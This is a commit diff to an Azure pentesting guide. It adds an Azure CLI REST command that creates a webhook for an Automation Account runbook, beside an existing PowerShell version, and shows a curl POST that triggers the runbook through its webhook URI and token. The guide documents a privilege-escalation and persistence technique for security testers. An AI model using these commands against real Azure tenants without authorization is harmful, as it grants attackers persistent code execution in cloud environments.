Skip to content

Commit 4ba2a82

Browse files
authored
Merge pull request #248 from Jacob-Ham/automation-accounts-addition
Added azure rest command for webhook creation.
2 parents 58b2dc7 + 9d5350d commit 4ba2a82

File tree

1 file changed

+19
-2
lines changed

1 file changed

+19
-2
lines changed

src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md

Lines changed: 19 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -154,13 +154,30 @@ az rest --method PUT \
154154
155155
### `Microsoft.Automation/automationAccounts/webhooks/write`
156156

157-
With the permission **`Microsoft.Automation/automationAccounts/webhooks/write`** it's possible to create a new Webhook for a Runbook inside an Automation Account using the following command.
157+
With the permission **`Microsoft.Automation/automationAccounts/webhooks/write`** it's possible to create a new Webhook for a Runbook inside an Automation Account using one of the following commands.
158158

159+
With Azure Powershell:
159160
```bash
160161
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
161162
```
162163

163-
This command should return a webhook URI which is only displayed on creation. Then, to call the runbook using the webhook URI
164+
With AzureCLI and REST:
165+
```bash
166+
az rest --method put \
167+
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
168+
--body '{
169+
"name": "<webhook-name>",
170+
"properties": {
171+
"isEnabled": true,
172+
"expiryTime": "2027-12-31T23:59:59+00:00",
173+
"runOn": "<worker name>",
174+
"runbook": {
175+
"name": "<runbook-name>"
176+
}
177+
}
178+
}'
179+
```
180+
These commands should return a webhook URI which is only displayed on creation. Then, to call the runbook using the webhook URI
164181

165182
```bash
166183
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \

0 commit comments

Comments
 (0)